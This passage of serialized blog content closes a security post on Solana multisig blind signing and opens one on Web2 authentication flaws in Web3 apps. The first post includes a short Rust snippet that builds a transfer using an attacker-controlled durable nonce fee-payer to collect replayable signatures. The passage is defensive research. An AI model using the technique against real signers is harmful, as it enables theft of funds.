last_blockhash",{"type":24,"tag":158,"props":69871,"children":69872},{"style":222},[69873],{"type":29,"value":462},{"type":24,"tag":158,"props":69875,"children":69876},{"style":177},[69877],{"type":29,"value":69366},{"type":24,"tag":158,"props":69879,"children":69880},{"style":222},[69881],{"type":29,"value":347},{"type":24,"tag":158,"props":69883,"children":69884},{"style":496},[69885],{"type":29,"value":69886},"last_hash",{"type":24,"tag":158,"props":69888,"children":69889},{"style":188},[69890],{"type":29,"value":5329},{"type":24,"tag":158,"props":69892,"children":69893},{"class":160,"line":238},[69894,69898,69903,69907,69912,69916,69921,69925,69929,69934],{"type":24,"tag":158,"props":69895,"children":69896},{"style":165},[69897],{"type":29,"value":2710},{"type":24,"tag":158,"props":69899,"children":69900},{"style":177},[69901],{"type":29,"value":69902}," next_durable_nonce",{"type":24,"tag":158,"props":69904,"children":69905},{"style":222},[69906],{"type":29,"value":462},{"type":24,"tag":158,"props":69908,"children":69909},{"style":171},[69910],{"type":29,"value":69911}," DurableNonce",{"type":24,"tag":158,"props":69913,"children":69914},{"style":222},[69915],{"type":29,"value":2146},{"type":24,"tag":158,"props":69917,"children":69918},{"style":496},[69919],{"type":29,"value":69920},"from_blockhash",{"type":24,"tag":158,"props":69922,"children":69923},{"style":188},[69924],{"type":29,"value":504},{"type":24,"tag":158,"props":69926,"children":69927},{"style":222},[69928],{"type":29,"value":2212},{"type":24,"tag":158,"props":69930,"children":69931},{"style":177},[69932],{"type":29,"value":69933},"last_blockhash",{"type":24,"tag":158,"props":69935,"children":69936},{"style":188},[69937],{"type":29,"value":1071},{"type":24,"tag":25,"props":69939,"children":69940},{},[69941,69943,69948],{"type":29,"value":69942},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":24,"tag":32,"props":69944,"children":69945},{},[69946],{"type":29,"value":69947},"can",{"type":29,"value":69949}," be saved and reused.",{"type":24,"tag":59,"props":69951,"children":69953},{"id":69952},"threat-model",[69954],{"type":29,"value":69955},"Threat Model",{"type":24,"tag":25,"props":69957,"children":69958},{},[69959],{"type":29,"value":69960},"Let's consider a simplified form of the original question.",{"type":24,"tag":1786,"props":69962,"children":69963},{},[69964,69969,69974],{"type":24,"tag":1790,"props":69965,"children":69966},{},[69967],{"type":29,"value":69968},"We have a N/M multisig",{"type":24,"tag":1790,"props":69970,"children":69971},{},[69972],{"type":29,"value":69973},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":24,"tag":1790,"props":69975,"children":69976},{},[69977],{"type":29,"value":69978},"We can accurately query chain state.",{"type":24,"tag":25,"props":69980,"children":69981},{},[69982],{"type":29,"value":69983},"Can we safely sign transactions?",{"type":24,"tag":25,"props":69985,"children":69986},{},[69987],{"type":29,"value":69988},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":24,"tag":25,"props":69990,"children":69991},{},[69992,69994,70000,70002,70009],{"type":29,"value":69993},"Durable nonces require an onchain account, and it's possible to use a ",{"type":24,"tag":154,"props":69995,"children":69997},{"className":69996},[],[69998],{"type":29,"value":69999},"getProgramAccounts",{"type":29,"value":70001}," call to validate if your signer ",{"type":24,"tag":101,"props":70003,"children":70006},{"href":70004,"rel":70005},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[105],[70007],{"type":29,"value":70008},"has an associated durable nonce",{"type":29,"value":347},{"type":24,"tag":147,"props":70011,"children":70013},{"className":37194,"code":70012,"language":37196,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n // The system program owns all nonce accounts.\n SYSTEM_PROGRAM_ADDRESS,\n {\n filters: [\n {\n // Nonce accounts are exactly 80 bytes long\n dataSize: 80,\n },\n {\n // The authority's 32-byte public key is written\n // into bytes 8-40 of the nonce's account data.\n memcmp: {\n bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n offset: 8,\n },\n },\n ],\n }\n);\n",[70014],{"type":24,"tag":154,"props":70015,"children":70016},{"__ignoreMap":7},[70017,70064,70100,70108,70120,70128,70140,70148,70156,70173,70180,70187,70195,70203,70215,70241,70258,70265,70272,70280,70287],{"type":24,"tag":158,"props":70018,"children":70019},{"class":160,"line":161},[70020,70024,70029,70033,70037,70042,70046,70051,70055,70060],{"type":24,"tag":158,"props":70021,"children":70022},{"style":165},[70023],{"type":29,"value":443},{"type":24,"tag":158,"props":70025,"children":70026},{"style":177},[70027],{"type":29,"value":70028}," connection",{"type":24,"tag":158,"props":70030,"children":70031},{"style":222},[70032],{"type":29,"value":462},{"type":24,"tag":158,"props":70034,"children":70035},{"style":165},[70036],{"type":29,"value":33194},{"type":24,"tag":158,"props":70038,"children":70039},{"style":496},[70040],{"type":29,"value":70041}," Connection",{"type":24,"tag":158,"props":70043,"children":70044},{"style":188},[70045],{"type":29,"value":504},{"type":24,"tag":158,"props":70047,"children":70048},{"style":496},[70049],{"type":29,"value":70050},"clusterApiUrl",{"type":24,"tag":158,"props":70052,"children":70053},{"style":188},[70054],{"type":29,"value":504},{"type":24,"tag":158,"props":70056,"children":70057},{"style":1108},[70058],{"type":29,"value":70059},"'testnet'",{"type":24,"tag":158,"props":70061,"children":70062},{"style":188},[70063],{"type":29,"value":3849},{"type":24,"tag":158,"props":70065,"children":70066},{"class":160,"line":213},[70067,70071,70076,70080,70084,70088,70092,70096],{"type":24,"tag":158,"props":70068,"children":70069},{"style":165},[70070],{"type":29,"value":443},{"type":24,"tag":158,"props":70072,"children":70073},{"style":177},[70074],{"type":29,"value":70075}," nonceAccounts",{"type":24,"tag":158,"props":70077,"children":70078},{"style":222},[70079],{"type":29,"value":462},{"type":24,"tag":158,"props":70081,"children":70082},{"style":1914},[70083],{"type":29,"value":37475},{"type":24,"tag":158,"props":70085,"children":70086},{"style":177},[70087],{"type":29,"value":70028},{"type":24,"tag":158,"props":70089,"children":70090},{"style":188},[70091],{"type":29,"value":347},{"type":24,"tag":158,"props":70093,"children":70094},{"style":496},[70095],{"type":29,"value":69999},{"type":24,"tag":158,"props":70097,"children":70098},{"style":188},[70099],{"type":29,"value":2156},{"type":24,"tag":158,"props":70101,"children":70102},{"class":160,"line":238},[70103],{"type":24,"tag":158,"props":70104,"children":70105},{"style":2588},[70106],{"type":29,"value":70107}," // The system program owns all nonce accounts.\n",{"type":24,"tag":158,"props":70109,"children":70110},{"class":160,"line":259},[70111,70116],{"type":24,"tag":158,"props":70112,"children":70113},{"style":177},[70114],{"type":29,"value":70115}," SYSTEM_PROGRAM_ADDRESS",{"type":24,"tag":158,"props":70117,"children":70118},{"style":188},[70119],{"type":29,"value":235},{"type":24,"tag":158,"props":70121,"children":70122},{"class":160,"line":280},[70123],{"type":24,"tag":158,"props":70124,"children":70125},{"style":188},[70126],{"type":29,"value":70127}," {\n",{"type":24,"tag":158,"props":70129,"children":70130},{"class":160,"line":301},[70131,70136],{"type":24,"tag":158,"props":70132,"children":70133},{"style":177},[70134],{"type":29,"value":70135}," filters:",{"type":24,"tag":158,"props":70137,"children":70138},{"style":188},[70139],{"type":29,"value":26878},{"type":24,"tag":158,"props":70141,"children":70142},{"class":160,"line":626},[70143],{"type":24,"tag":158,"props":70144,"children":70145},{"style":188},[70146],{"type":29,"value":70147}," {\n",{"type":24,"tag":158,"props":70149,"children":70150},{"class":160,"line":668},[70151],{"type":24,"tag":158,"props":70152,"children":70153},{"style":2588},[70154],{"type":29,"value":70155}," // Nonce accounts are exactly 80 bytes long\n",{"type":24,"tag":158,"props":70157,"children":70158},{"class":160,"line":676},[70159,70164,70169],{"type":24,"tag":158,"props":70160,"children":70161},{"style":177},[70162],{"type":29,"value":70163}," dataSize:",{"type":24,"tag":158,"props":70165,"children":70166},{"style":465},[70167],{"type":29,"value":70168}," 80",{"type":24,"tag":158,"props":70170,"children":70171},{"style":188},[70172],{"type":29,"value":235},{"type":24,"tag":158,"props":70174,"children":70175},{"class":160,"line":684},[70176],{"type":24,"tag":158,"props":70177,"children":70178},{"style":188},[70179],{"type":29,"value":38463},{"type":24,"tag":158,"props":70181,"children":70182},{"class":160,"line":700},[70183],{"type":24,"tag":158,"props":70184,"children":70185},{"style":188},[70186],{"type":29,"value":70147},{"type":24,"tag":158,"props":70188,"children":70189},{"class":160,"line":785},[70190],{"type":24,"tag":158,"props":70191,"children":70192},{"style":2588},[70193],{"type":29,"value":70194}," // The authority's 32-byte public key is written\n",{"type":24,"tag":158,"props":70196,"children":70197},{"class":160,"line":1447},[70198],{"type":24,"tag":158,"props":70199,"children":70200},{"style":2588},[70201],{"type":29,"value":70202}," // into bytes 8-40 of the nonce's account data.\n",{"type":24,"tag":158,"props":70204,"children":70205},{"class":160,"line":1509},[70206,70211],{"type":24,"tag":158,"props":70207,"children":70208},{"style":177},[70209],{"type":29,"value":70210}," memcmp:",{"type":24,"tag":158,"props":70212,"children":70213},{"style":188},[70214],{"type":29,"value":210},{"type":24,"tag":158,"props":70216,"children":70217},{"class":160,"line":1527},[70218,70223,70228,70232,70237],{"type":24,"tag":158,"props":70219,"children":70220},{"style":177},[70221],{"type":29,"value":70222}," bytes:",{"type":24,"tag":158,"props":70224,"children":70225},{"style":177},[70226],{"type":29,"value":70227}," AUTHORITY_PUBLIC_KEY",{"type":24,"tag":158,"props":70229,"children":70230},{"style":188},[70231],{"type":29,"value":347},{"type":24,"tag":158,"props":70233,"children":70234},{"style":496},[70235],{"type":29,"value":70236},"toBase58",{"type":24,"tag":158,"props":70238,"children":70239},{"style":188},[70240],{"type":29,"value":5150},{"type":24,"tag":158,"props":70242,"children":70243},{"class":160,"line":1545},[70244,70249,70254],{"type":24,"tag":158,"props":70245,"children":70246},{"style":177},[70247],{"type":29,"value":70248}," offset:",{"type":24,"tag":158,"props":70250,"children":70251},{"style":465},[70252],{"type":29,"value":70253}," 8",{"type":24,"tag":158,"props":70255,"children":70256},{"style":188},[70257],{"type":29,"value":235},{"type":24,"tag":158,"props":70259,"children":70260},{"class":160,"line":1618},[70261],{"type":24,"tag":158,"props":70262,"children":70263},{"style":188},[70264],{"type":29,"value":26630},{"type":24,"tag":158,"props":70266,"children":70267},{"class":160,"line":1635},[70268],{"type":24,"tag":158,"props":70269,"children":70270},{"style":188},[70271],{"type":29,"value":38463},{"type":24,"tag":158,"props":70273,"children":70274},{"class":160,"line":1644},[70275],{"type":24,"tag":158,"props":70276,"children":70277},{"style":188},[70278],{"type":29,"value":70279}," ],\n",{"type":24,"tag":158,"props":70281,"children":70282},{"class":160,"line":1652},[70283],{"type":24,"tag":158,"props":70284,"children":70285},{"style":188},[70286],{"type":29,"value":4366},{"type":24,"tag":158,"props":70288,"children":70289},{"class":160,"line":1704},[70290],{"type":24,"tag":158,"props":70291,"children":70292},{"style":188},[70293],{"type":29,"value":1071},{"type":24,"tag":25,"props":70295,"children":70296},{},[70297,70299,70307],{"type":29,"value":70298},"Unfortunately this is not sufficient",{"type":24,"tag":16709,"props":70300,"children":70301},{},[70302],{"type":24,"tag":101,"props":70303,"children":70305},{"href":30883,"ariaDescribedBy":70304,"dataFootnoteRef":7,"id":30885},[16716],[70306],{"type":29,"value":5672},{"type":29,"value":70308},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":24,"tag":147,"props":70310,"children":70312},{"className":151,"code":70311,"language":150,"meta":7,"style":7}," let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n let message =\n Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n .serialize();\n",[70313],{"type":24,"tag":154,"props":70314,"children":70315},{"__ignoreMap":7},[70316,70382,70398,70481],{"type":24,"tag":158,"props":70317,"children":70318},{"class":160,"line":161},[70319,70323,70327,70331,70336,70340,70344,70348,70352,70356,70360,70364,70369,70373,70378],{"type":24,"tag":158,"props":70320,"children":70321},{"style":165},[70322],{"type":29,"value":2710},{"type":24,"tag":158,"props":70324,"children":70325},{"style":177},[70326],{"type":29,"value":44637},{"type":24,"tag":158,"props":70328,"children":70329},{"style":222},[70330],{"type":29,"value":462},{"type":24,"tag":158,"props":70332,"children":70333},{"style":188},[70334],{"type":29,"value":70335}," system_instruction",{"type":24,"tag":158,"props":70337,"children":70338},{"style":222},[70339],{"type":29,"value":2146},{"type":24,"tag":158,"props":70341,"children":70342},{"style":496},[70343],{"type":29,"value":33384},{"type":24,"tag":158,"props":70345,"children":70346},{"style":188},[70347],{"type":29,"value":504},{"type":24,"tag":158,"props":70349,"children":70350},{"style":222},[70351],{"type":29,"value":2212},{"type":24,"tag":158,"props":70353,"children":70354},{"style":177},[70355],{"type":29,"value":20716},{"type":24,"tag":158,"props":70357,"children":70358},{"style":188},[70359],{"type":29,"value":191},{"type":24,"tag":158,"props":70361,"children":70362},{"style":222},[70363],{"type":29,"value":2212},{"type":24,"tag":158,"props":70365,"children":70366},{"style":177},[70367],{"type":29,"value":70368},"ledger_base_pubkey",{"type":24,"tag":158,"props":70370,"children":70371},{"style":188},[70372],{"type":29,"value":191},{"type":24,"tag":158,"props":70374,"children":70375},{"style":465},[70376],{"type":29,"value":70377},"42",{"type":24,"tag":158,"props":70379,"children":70380},{"style":188},[70381],{"type":29,"value":1071},{"type":24,"tag":158,"props":70383,"children":70384},{"class":160,"line":213},[70385,70389,70394],{"type":24,"tag":158,"props":70386,"children":70387},{"style":165},[70388],{"type":29,"value":2710},{"type":24,"tag":158,"props":70390,"children":70391},{"style":177},[70392],{"type":29,"value":70393}," message",{"type":24,"tag":158,"props":70395,"children":70396},{"style":222},[70397],{"type":29,"value":37119},{"type":24,"tag":158,"props":70399,"children":70400},{"class":160,"line":238},[70401,70406,70410,70415,70419,70423,70427,70431,70435,70439,70443,70447,70452,70456,70460,70465,70469,70473,70477],{"type":24,"tag":158,"props":70402,"children":70403},{"style":171},[70404],{"type":29,"value":70405}," Message",{"type":24,"tag":158,"props":70407,"children":70408},{"style":222},[70409],{"type":29,"value":2146},{"type":24,"tag":158,"props":70411,"children":70412},{"style":496},[70413],{"type":29,"value":70414},"new_with_nonce",{"type":24,"tag":158,"props":70416,"children":70417},{"style":188},[70418],{"type":29,"value":504},{"type":24,"tag":158,"props":70420,"children":70421},{"style":496},[70422],{"type":29,"value":5534},{"type":24,"tag":158,"props":70424,"children":70425},{"style":188},[70426],{"type":29,"value":2048},{"type":24,"tag":158,"props":70428,"children":70429},{"style":177},[70430],{"type":29,"value":44947},{"type":24,"tag":158,"props":70432,"children":70433},{"style":188},[70434],{"type":29,"value":24305},{"type":24,"tag":158,"props":70436,"children":70437},{"style":171},[70438],{"type":29,"value":43286},{"type":24,"tag":158,"props":70440,"children":70441},{"style":188},[70442],{"type":29,"value":504},{"type":24,"tag":158,"props":70444,"children":70445},{"style":222},[70446],{"type":29,"value":2212},{"type":24,"tag":158,"props":70448,"children":70449},{"style":177},[70450],{"type":29,"value":70451},"evil_nonce_authority",{"type":24,"tag":158,"props":70453,"children":70454},{"style":188},[70455],{"type":29,"value":16412},{"type":24,"tag":158,"props":70457,"children":70458},{"style":222},[70459],{"type":29,"value":2212},{"type":24,"tag":158,"props":70461,"children":70462},{"style":177},[70463],{"type":29,"value":70464},"nonce_account",{"type":24,"tag":158,"props":70466,"children":70467},{"style":188},[70468],{"type":29,"value":191},{"type":24,"tag":158,"props":70470,"children":70471},{"style":222},[70472],{"type":29,"value":2212},{"type":24,"tag":158,"props":70474,"children":70475},{"style":177},[70476],{"type":29,"value":70451},{"type":24,"tag":158,"props":70478,"children":70479},{"style":188},[70480],{"type":29,"value":2125},{"type":24,"tag":158,"props":70482,"children":70483},{"class":160,"line":259},[70484,70488,70493],{"type":24,"tag":158,"props":70485,"children":70486},{"style":222},[70487],{"type":29,"value":4832},{"type":24,"tag":158,"props":70489,"children":70490},{"style":496},[70491],{"type":29,"value":70492},"serialize",{"type":24,"tag":158,"props":70494,"children":70495},{"style":188},[70496],{"type":29,"value":5329},{"type":24,"tag":25,"props":70498,"children":70499},{},[70500,70502,70509],{"type":29,"value":70501},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":24,"tag":101,"props":70503,"children":70506},{"href":70504,"rel":70505},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[105],[70507],{"type":29,"value":70508},"logs the fee-payer here",{"type":29,"value":347},{"type":24,"tag":147,"props":70511,"children":70513},{"className":17751,"code":70512,"language":2907,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[70514],{"type":24,"tag":154,"props":70515,"children":70516},{"__ignoreMap":7},[70517,70576,70632],{"type":24,"tag":158,"props":70518,"children":70519},{"class":160,"line":161},[70520,70524,70529,70533,70537,70542,70546,70551,70555,70559,70563,70567,70572],{"type":24,"tag":158,"props":70521,"children":70522},{"style":165},[70523],{"type":29,"value":30945},{"type":24,"tag":158,"props":70525,"children":70526},{"style":496},[70527],{"type":29,"value":70528}," print_config_show_authority",{"type":24,"tag":158,"props":70530,"children":70531},{"style":188},[70532],{"type":29,"value":504},{"type":24,"tag":158,"props":70534,"children":70535},{"style":165},[70536],{"type":29,"value":443},{"type":24,"tag":158,"props":70538,"children":70539},{"style":188},[70540],{"type":29,"value":70541}," PrintConfig",{"type":24,"tag":158,"props":70543,"children":70544},{"style":222},[70545],{"type":29,"value":577},{"type":24,"tag":158,"props":70547,"children":70548},{"style":177},[70549],{"type":29,"value":70550}," print_config",{"type":24,"tag":158,"props":70552,"children":70553},{"style":188},[70554],{"type":29,"value":191},{"type":24,"tag":158,"props":70556,"children":70557},{"style":165},[70558],{"type":29,"value":443},{"type":24,"tag":158,"props":70560,"children":70561},{"style":188},[70562],{"type":29,"value":22101},{"type":24,"tag":158,"props":70564,"children":70565},{"style":222},[70566],{"type":29,"value":577},{"type":24,"tag":158,"props":70568,"children":70569},{"style":177},[70570],{"type":29,"value":70571}," authority",{"type":24,"tag":158,"props":70573,"children":70574},{"style":188},[70575],{"type":29,"value":16038},{"type":24,"tag":158,"props":70577,"children":70578},{"class":160,"line":213},[70579,70583,70587,70591,70596,70600,70604,70609,70613,70618,70622,70627],{"type":24,"tag":158,"props":70580,"children":70581},{"style":1914},[70582],{"type":29,"value":18227},{"type":24,"tag":158,"props":70584,"children":70585},{"style":177},[70586],{"type":29,"value":70550},{"type":24,"tag":158,"props":70588,"children":70589},{"style":188},[70590],{"type":29,"value":14991},{"type":24,"tag":158,"props":70592,"children":70593},{"style":177},[70594],{"type":29,"value":70595},"expert_mode",{"type":24,"tag":158,"props":70597,"children":70598},{"style":222},[70599],{"type":29,"value":24953},{"type":24,"tag":158,"props":70601,"children":70602},{"style":222},[70603],{"type":29,"value":3750},{"type":24,"tag":158,"props":70605,"children":70606},{"style":496},[70607],{"type":29,"value":70608},"pubkeys_equal",{"type":24,"tag":158,"props":70610,"children":70611},{"style":188},[70612],{"type":29,"value":504},{"type":24,"tag":158,"props":70614,"children":70615},{"style":177},[70616],{"type":29,"value":70617},"print_config",{"type":24,"tag":158,"props":70619,"children":70620},{"style":188},[70621],{"type":29,"value":14991},{"type":24,"tag":158,"props":70623,"children":70624},{"style":177},[70625],{"type":29,"value":70626},"signer_pubkey",{"type":24,"tag":158,"props":70628,"children":70629},{"style":188},[70630],{"type":29,"value":70631},", authority);\n",{"type":24,"tag":158,"props":70633,"children":70634},{"class":160,"line":238},[70635],{"type":24,"tag":158,"props":70636,"children":70637},{"style":188},[70638],{"type":29,"value":307},{"type":24,"tag":25,"props":70640,"children":70641},{},[70642],{"type":29,"value":70643},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":24,"tag":25,"props":70645,"children":70646},{},[70647],{"type":29,"value":70648},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":24,"tag":25,"props":70650,"children":70651},{},[70652],{"type":29,"value":70653},"We can then use the following procedure.",{"type":24,"tag":1786,"props":70655,"children":70656},{},[70657,70662,70667,70672,70677],{"type":24,"tag":1790,"props":70658,"children":70659},{},[70660],{"type":29,"value":70661},"Ensure all signers have no durable nonce accounts.",{"type":24,"tag":1790,"props":70663,"children":70664},{},[70665],{"type":29,"value":70666},"The first signer signs and submits the transaction.",{"type":24,"tag":1790,"props":70668,"children":70669},{},[70670],{"type":29,"value":70671},"Wait two minutes for all recent blockhashes to expire.",{"type":24,"tag":1790,"props":70673,"children":70674},{},[70675],{"type":29,"value":70676},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":24,"tag":1790,"props":70678,"children":70679},{},[70680],{"type":29,"value":70681},"Repeat steps 2 to 4 for each signer",{"type":24,"tag":59,"props":70683,"children":70685},{"id":70684},"beyond",[70686],{"type":29,"value":70687},"Beyond",{"type":24,"tag":25,"props":70689,"children":70690},{},[70691],{"type":29,"value":70692},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":24,"tag":25,"props":70694,"children":70695},{},[70696,70698,70705],{"type":29,"value":70697},"For example, pcaversaccio wrote a tool to ",{"type":24,"tag":101,"props":70699,"children":70702},{"href":70700,"rel":70701},"https://github.com/pcaversaccio/safe-tx-hashes-util",[105],[70703],{"type":29,"value":70704},"validate Safe transaction hashes",{"type":29,"value":70706},". As the space matures, we hope more open source tooling will come to light.",{"type":24,"tag":19662,"props":70708,"children":70710},{"className":70709,"dataFootnotes":7},[19665],[70711,70716],{"type":24,"tag":59,"props":70712,"children":70714},{"className":70713,"id":16716},[19670],[70715],{"type":29,"value":19673},{"type":24,"tag":1786,"props":70717,"children":70718},{},[70719],{"type":24,"tag":1790,"props":70720,"children":70721},{"id":31626},[70722,70724,70732,70734],{"type":29,"value":70723},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":24,"tag":101,"props":70725,"children":70729},{"href":70726,"rel":70727,":style":70728},"https://twitter.com/PierreArowana",[105],"color: #B1D0EE; text-decoration: underline;",[70730],{"type":29,"value":70731},"@PierreArowana",{"type":29,"value":70733}," for pointing this out to me. ",{"type":24,"tag":101,"props":70735,"children":70737},{"href":31654,"ariaLabel":19776,"className":70736,"dataFootnoteBackref":7},[19778],[70738],{"type":29,"value":19781},{"type":24,"tag":4517,"props":70740,"children":70741},{},[70742],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":70744},[70745,70749,70750,70751],{"id":68941,"depth":213,"text":68944,"children":70746},[70747,70748],{"id":68952,"depth":238,"text":68955},{"id":69231,"depth":238,"text":69234},{"id":69952,"depth":213,"text":69955},{"id":70684,"depth":213,"text":70687},{"id":16716,"depth":213,"text":19673},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":70756,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":70757,"description":70758,"date":70759,"author":70760,"image":70761,"isFeatured":16,"onBlogPage":16,"tags":70763,"body":70764,"_type":4536,"_id":72462,"_source":4538,"_file":72463,"_stem":72464,"_extension":4541},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[32462,32461],{"src":70762},"/posts/web2-in-web3/title.jpg",[33402],{"type":21,"children":70765,"toc":72444},[70766,70771,70776,70781,70807,70813,70818,70824,70845,70851,70856,70863,70876,70906,70912,70956,70963,70969,71002,71023,71031,71050,71057,71062,71068,71073,71078,71103,71108,71114,71120,71141,71147,71174,71202,71209,71214,71219,71564,71568,71590,71596,71617,71631,71644,71649,71665,71670,72399,72404,72409,72414,72426,72430,72435,72440],{"type":24,"tag":25,"props":70767,"children":70768},{},[70769],{"type":29,"value":70770},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":24,"tag":25,"props":70772,"children":70773},{},[70774],{"type":29,"value":70775},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":24,"tag":25,"props":70777,"children":70778},{},[70779],{"type":29,"value":70780},"In this article, we will discuss three cases we discovered:",{"type":24,"tag":1786,"props":70782,"children":70783},{},[70784,70789,70802],{"type":24,"tag":1790,"props":70785,"children":70786},{},[70787],{"type":29,"value":70788},"OAuth Logic Vulnerability on an Authentication Provider",{"type":24,"tag":1790,"props":70790,"children":70791},{},[70792,70794,70800],{"type":29,"value":70793},"Supabase ",{"type":24,"tag":154,"props":70795,"children":70797},{"className":70796},[],[70798],{"type":29,"value":70799},"user_metadata",{"type":29,"value":70801}," misconfiguration",{"type":24,"tag":1790,"props":70803,"children":70804},{},[70805],{"type":29,"value":70806},"OAuth abuse in localhost development environment",{"type":24,"tag":59,"props":70808,"children":70810},{"id":70809},"abusing-oauth-authentication-logic",[70811],{"type":29,"value":70812},"Abusing OAuth Authentication Logic",{"type":24,"tag":25,"props":70814,"children":70815},{},[70816],{"type":29,"value":70817},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":24,"tag":395,"props":70819,"children":70821},{"id":70820},"web3auth-introduction",[70822],{"type":29,"value":70823},"Web3Auth Introduction",{"type":24,"tag":25,"props":70825,"children":70826},{},[70827,70834,70836,70843],{"type":24,"tag":101,"props":70828,"children":70831},{"href":70829,"rel":70830},"https://web3auth.io/",[105],[70832],{"type":29,"value":70833},"Web3Auth",{"type":29,"value":70835}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":24,"tag":101,"props":70837,"children":70840},{"href":70838,"rel":70839},"https://oauth.net/2/",[105],[70841],{"type":29,"value":70842},"OAuth2",{"type":29,"value":70844}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":24,"tag":395,"props":70846,"children":70848},{"id":70847},"web3auth-authentication-flow",[70849],{"type":29,"value":70850},"Web3Auth Authentication flow",{"type":24,"tag":25,"props":70852,"children":70853},{},[70854],{"type":29,"value":70855},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":24,"tag":25,"props":70857,"children":70858},{},[70859],{"type":24,"tag":84,"props":70860,"children":70862},{"alt":51850,"src":70861},"/posts/web2-in-web3/auth-flow.png",[],{"type":24,"tag":25,"props":70864,"children":70865},{},[70866,70868,70874],{"type":29,"value":70867},"After the final redirect back to the dApp, the application can use the secret token to authenticate with the service identified by the ",{"type":24,"tag":154,"props":70869,"children":70871},{"className":70870},[],[70872],{"type":29,"value":70873},"client_id",{"type":29,"value":70875},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":24,"tag":25,"props":70877,"children":70878},{},[70879,70881,70887,70889,70895,70897,70904],{"type":29,"value":70880},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":24,"tag":154,"props":70882,"children":70884},{"className":70883},[],[70885],{"type":29,"value":70886},"/start",{"type":29,"value":70888}," validates the ",{"type":24,"tag":154,"props":70890,"children":70892},{"className":70891},[],[70893],{"type":29,"value":70894},"redirect_url",{"type":29,"value":70896}," against the configured ",{"type":24,"tag":101,"props":70898,"children":70901},{"href":70899,"rel":70900},"https://web3auth.io/docs/dashboard-setup/whitelisting",[105],[70902],{"type":29,"value":70903},"whitelist",{"type":29,"value":70905}," to ensure it matches one of the allowed URLs.",{"type":24,"tag":395,"props":70907,"children":70909},{"id":70908},"in-transit-cryptography",[70910],{"type":29,"value":70911},"In-transit Cryptography",{"type":24,"tag":25,"props":70913,"children":70914},{},[70915,70917,70924,70926,70932,70934,70940,70942,70947,70949,70954],{"type":29,"value":70916},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":24,"tag":101,"props":70918,"children":70921},{"href":70919,"rel":70920},"https://en.wikipedia.org/wiki/Key_(cryptography)",[105],[70922],{"type":29,"value":70923},"cryptographic key",{"type":29,"value":70925}," is derived from the ",{"type":24,"tag":154,"props":70927,"children":70929},{"className":70928},[],[70930],{"type":29,"value":70931},"sessionId",{"type":29,"value":70933}," sent in the ",{"type":24,"tag":154,"props":70935,"children":70937},{"className":70936},[],[70938],{"type":29,"value":70939},"GET",{"type":29,"value":70941}," parameter to the ",{"type":24,"tag":154,"props":70943,"children":70945},{"className":70944},[],[70946],{"type":29,"value":70886},{"type":29,"value":70948},". Since the ",{"type":24,"tag":154,"props":70950,"children":70952},{"className":70951},[],[70953],{"type":29,"value":70931},{"type":29,"value":70955}," can be controlled, it allows us to send and receive data from the session server.",{"type":24,"tag":25,"props":70957,"children":70958},{},[70959],{"type":24,"tag":84,"props":70960,"children":70962},{"alt":51850,"src":70961},"/posts/web2-in-web3/image-2.png",[],{"type":24,"tag":395,"props":70964,"children":70966},{"id":70965},"race-condition",[70967],{"type":29,"value":70968},"Race 